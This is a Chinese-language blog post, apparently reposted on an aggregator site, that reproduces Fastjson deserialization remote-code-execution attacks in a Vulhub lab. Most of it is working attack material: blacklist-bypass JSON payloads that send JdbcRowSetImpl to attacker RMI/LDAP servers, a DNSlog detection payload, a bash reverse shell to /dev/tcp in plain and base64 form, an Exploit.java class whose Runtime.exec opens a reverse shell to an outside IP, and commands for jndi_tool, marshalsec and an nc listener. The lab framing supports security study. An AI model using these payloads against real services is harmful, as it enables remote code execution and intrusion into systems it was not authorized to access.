Fastjson漏洞复现

这篇具有很好参考价值的文章主要介绍了Fastjson漏洞复现。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

Fastjson漏洞

Fastjson简介

Fastjson 是阿里巴巴公司开源的一款 JSON 解析器,它可以解析 JSON 格式的字符串, 支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 Java Bean 。

历史漏洞

Fastjson <=1.2.24 反序列化远程命令执行漏洞
Fastjson <=1.2.41 反序列化远程命令执行漏洞 
Fastjson <=1.2.42 反序列化远程命令执行漏洞 
Fastjson <=1.2.43 反序列化远程命令执行漏洞 
Fastjson <=1.2.45 反序列化远程命令执行漏洞 
Fastjson <=1.2.47 反序列化远程命令执行漏洞 
Fastjson <=1.2.62 反序列化远程命令执行漏洞 
Fastjson <=1.2.66 反序列化远程命令执行漏洞

Fastjson < 1.2.41
第一个Fastjson反序列化漏洞爆出后,阿里在1.2.25版本设置了 autoTypeSupport 属性默认为false,并
且增加了 checkAutoType() 函数,通过黑白名单的方式来防御Fastjson反序列化漏洞,因此后面发现的
Fastjson反序列化漏洞都是针对黑名单绕过来实现攻击利用的目的的。
com.sun.rowset.jdbcRowSetlmpl 在1.2.25版本被加入了黑名单,fastjson有个判断条件判断类名是
否以"L"开头、以";“结尾,是的话就提取出其中的类名在加载进来
那么就可以构造如下exp:
{”@type":“Lcom.sun.rowset.JdbcRowSetImpl;”, “dataSourceName”:“rmi://ip:9999/rce_1_2_24_exploit”, “autoCommit”:true}

Fastjson < 1.2.42
阿里在发现这个绕过漏洞之后做出了类名如果为L开头,;结尾的时候就先去掉L和;进行黑名单检验的方
法,但是没有考虑到双写或多写的情况,也就是说这种方法只能防御一组L和;,构造exp如下,即双写L
和;
{“@type”:“LLcom.sun.rowset.JdbcRowSetImpl;;”, “dataSourceName”:“rmi://x.x.x.x:9999/exp”, “autoCommit”:true}

Fastjson < 1.2.47
在1.2.47版本及以下的情况下,loadClass中默认cache为true,首先使用 java.lang.Class 把获取到的
类缓存到 mapping 中,然后直接从缓存中获取到了 com.sun.rowset.jdbcRowSetlmpl 这个类,即可绕
过黑名单。
{ “a”: { “@type”: “java.lang.Class”, “val”: “com.sun.rowset.JdbcRowSetImpl” }, “b”: { “@type”: “com.sun.rowset.JdbcRowSetImpl”, “dataSourceName”: “rmi://ip:9999/exp”, “autoCommit”: true }}

Fastjson < 1.2.66
基于黑名单绕过, autoTypeSupport 属性为true才能使用,在1.2.25版本之后 autoTypeSupport 默认
为false
{“@type”:“org.apache.shiro.jndi.JndiObjectFactory”,“resourceName”:“ldap://ip:1389/Calc”} {“@type”:“br.com.anteros.dbcp.AnterosDBCPConfig”,“metricRegistry”:“ldap://ip:1389/Calc”} {“@type”:“org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup”,“jndiNames”:“ldap://ip:1389/Calc”}

漏洞发现

Fastjson的作用是用于对JSON格式的数据进行解析和打包,所以出现json格式的地方 就有可能使用了 Fastjson。
bp抓到包,发到重发器中,改成post包,重放。(靶场中是get包,所以要改成post的包),但是在靶场中会直接看见是fastjson的框架。

fastjson漏洞修复,漏洞复现,web安全,网络安全
fastjson漏洞修复,漏洞复现,web安全,网络安全

不是靶场的验证方式:在抓到的包中去构造不闭合的函数导致它的错误,看返回的错误包,把type的字段改成json的,进行重放,可以看见是fastjson的框架。

fastjson漏洞修复,漏洞复现,web安全,网络安全

漏洞检测

原理:java.net.InetAddress这个类在实例化时会尝试做对example.com做域名解析,这时候可以通过 dnslog的方式得知漏洞是否存在。

//payload
{ "name":{ "@type":"java.net.InetAddress", "val":"7bjl4cj800p3jqqvma0lwwvpsgy7mw.burpcollaborator.net" 
} 
}

从dnslog平台上复制网址开始重放,发现可以请求到,说明漏洞存在。

fastjson漏洞修复,漏洞复现,web安全,网络安全

检测fsatjson的版本

//payload
[{"a":"a\x] {"@type":"java.lang.AutoCloseable"a

fastjson漏洞修复,漏洞复现,web安全,网络安全

漏洞简介

fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法 来 访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。 fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造 的json 字符串绕过白名单检测。

影响版本:fastjson<1.2.48

漏洞靶场搭建

和之前搭建的靶场一样,进入vluhub开启1.2.47的靶场即可。

fastjson漏洞修复,漏洞复现,web安全,网络安全

漏洞复现

JNDI
JNDI(The Java Naming and Directory Interface,Java命名和目录接口)是一组在Java应用中访问命名
和目录服务的API,命名服务将名称和对象联系起来,使得我们可以用名称访问对象。
可以访问以下命名/目录服务:
RMI (JAVA远程方法调用)
LDAP (轻量级目录访问协议)
CORBA (公共对象请求代理体系结构)
DNS (域名服务)

RMI
它是Java远程方法调用,是Java编程语言里,一种用于实现远程过程调用的应用程序编程接口。
它使客户机上运行的程序可以调用远程服务器上的对象。

1.2.47反序列化漏洞(CNVD‐2019‐22238)
方法一 : JNDI注入 + RMI

1.漏洞靶场搭建完成后,访问它 (http://ip:8090)

fastjson漏洞修复,漏洞复现,web安全,网络安全

2.下载工具包,可以在这个网址中找到工具的下载地址,这个工具在Log4j也又用到,物理机如果访问不了的,可以有用虚拟机进行wget 命令去下载。

https://github.com/wyzxxz/jndi_tool


wget https://toolaffix.oss-cn-beijing.aliyuncs.com/wyzxxz/jndi_tool.jar

3.进行反弹shell的操作。先将shell进行base64编码.

//shell
bash -i >& /dev/tcp/192.168.42.132/9999  0>&1

//经过base64编码的shell
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQyLjEzMi85OTk5ICAwPiYx}|{base64,-d}|{bash,-i}

4.使用jndi工具在攻击机的6666端口开启RMI协议的服务,然后监听反弹shell的9999端口。然后再bp上执行RMI服务给出的payload,就是截图中白色那片,点击重放。最后发现成功反弹。

//命令
java -cp jndi_tool.jar jndi.HRMIServer 攻击机ip 端口 “经过base64编码的shell”


//监听
nc -lvvp 9999


//payload
{"e":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.42.132:6666/Object","autoCommit":true}}

fastjson漏洞修复,漏洞复现,web安全,网络安全
fastjson漏洞修复,漏洞复现,web安全,网络安全

方法二 marshalsec

1.下载工具marshalsec,利用它开启一个RMI服务。用脚本Exploit.java 进行反弹shell的命令。然后用javac Exploit.java 生成Exploit.class文件,然后开启服务去请求到这个文件。

//javac Exploit.java
import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
	public Exploit(){
		try{
			Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >& /dev/tcp/150.158.137.72/9998 0>&1");
		}catch(Exception e){
			e.printStackTrace();
		}
	}
	public static void main(String[] argv){
		Exploit e = new Exploit();
	}
}

fastjson漏洞修复,漏洞复现,web安全,网络安全

2.在反弹shell的端口那开启监听,在Exploit.class的当前目录开启http服务,然后利用marshalsec-0.0.3-SNAPSHOT-all.jar 开启 RMI服务,构造payload在bp内重放进行攻击。

//监听
nc -lvvp 9999

//开启http服务
python3 -m http.server

//开启RMI服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.42.132:8000/#Exploit" 6666
//重放的payload
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.42.132:6666/Exploit",
"autoCommit":true
}
}

fastjson漏洞修复,漏洞复现,web安全,网络安全

3.最后成功反弹3.最后成功反弹

fastjson漏洞修复,漏洞复现,web安全,网络安全

注:其他版本的也可以用第二种方式进行攻击,只是payload不同文章来源地址https://www.toymoban.com/news/detail-691955.html

到了这里,关于Fastjson漏洞复现的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Tcsec安全研究院|fastjson漏洞分析

    fastjson 是一个 Java 库,可用于将 Java 对象转换为其 JSON 表示形式。它还可以用于将 JSON 字符串转换为等效的 Java 对象。Fastjson 可以处理任意的 Java 对象,包括没有源代码的预先存在的对象。 java 的核心就是对象的操作,fastjson 同样遵循这个原则利用get、set操作对象。将 User 对

    2024年02月13日
    浏览(33)
  • 【java安全】FastJson反序列化漏洞浅析

    0x00.前言 前面我们学习了RMI和JNDI知识,接下来我们就可以来了解一下FastJson反序列化了 0x01.FastJson概述 FastJson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持 将JavaBean序列化为JSON字符串,也可以将JSON字符串反序列化到JavaBean 0x02.FastJson使用 首先我们需要使用

    2024年02月11日
    浏览(38)
  • Web攻防--JNDI注入--Log4j漏洞--Fastjson反序列化漏洞

    什么是JNDI JNDI全称为 Java Naming and Directory Interface(Java命名和目录接口),是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源。 JNDI支持的服务主要有:DNS、LDAP、CORBA、RMI等。 简单从安全角度

    2024年02月09日
    浏览(35)
  • Web网络安全-----Log4j高危漏洞原理及修复

    Web网络安全-----红蓝攻防之信息收集 Log4j 即 log for java(java的日志) ,是Apache的一个开源项目,通过使用Log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;

    2024年02月10日
    浏览(39)
  • Fastjson漏洞

    Fastjson是阿里巴巴公司开源的一款json解析器,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到JavaBean。 Fastjson =1.2.24 反序列化远程命令执行漏洞 Fastjson =1.2.41 反序列化远程命令执行漏洞 Fastjson =1.2.42 反序列化远程命令执行漏

    2024年02月11日
    浏览(30)
  • Fastjson漏洞的识别与DNSlog回显

    模拟使用fastjson的网站 http://192.168.88.111:8090/ 方式一 命令行 识别特征:(出现则使用了Fastjson) \\\"status\\\":500, \\\"error\\\":\\\"Internal Server Error\\\" Bp 识别特征:(出现则使用了Fastjson) type=Internal Server Error, status=500 方式二 通过DNSlog回显 Bp payload :识别1.2.67之前版本 DNSLog成功回显 payload :识

    2024年02月16日
    浏览(39)
  • fastjson反序列化漏洞学习(一)

    Fastjson 是阿里巴巴开源的一个 Java 的 JSON 解析库。它提供了快速、高效、简洁的 JSON 解析功能。Fastjson 不仅支持常见的 JSON 数据类型(如字符串、数字、布尔值、数组、对象等),还支持 Java 原生数据类型(如整型、浮点型、数组、集合等)与 JSON 之间的互相转换。Fastjson 支

    2024年02月04日
    浏览(38)
  • Fastjson反序列化远程代码执行漏洞

    据国家网络与信息安全信息通报中心监测发现,开源Java开发组件Fastjson存在反序列化远程代码执行漏洞。攻击者可利用上述漏洞实施任意文件写入、服务端请求伪造等攻击行为,造成服务器权限被窃取、敏感信息泄漏等严重影响。 先贴一个解决漏洞的方案: 不过任何升级一

    2024年02月09日
    浏览(37)
  • FastJson中AutoType反序列化漏洞

    Fastjson1.2.80 反序列化漏洞情报,攻击者可以利用该漏洞攻击远程服务器, 可能会造成任意命令执行。在Fastjson=1.2.83的版本中,通过新的Gadgets链绕过autoType开关,在autoType关闭的情况下仍然可能可以绕过黑白名单防御机制,实现了反序列化漏洞利用的远程代码执行效果,同时,此

    2024年02月07日
    浏览(38)
  • 渗透测试-Fastjson反序列化漏洞getshell

    目录 前言 测试环境准备 dnslog测试 搭建rmi服务器准备恶意类 引用JdbcRowSetImpl攻击 反弹shell$命令执行 总结 :fastjson 1.2.24反序列化导致任意命令执行漏洞 注:本次渗透测试全在虚拟机中进行仅用于学习交流,请勿在实际网络中攻击他人服务器。 前言         最原始

    2024年02月07日
    浏览(46)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包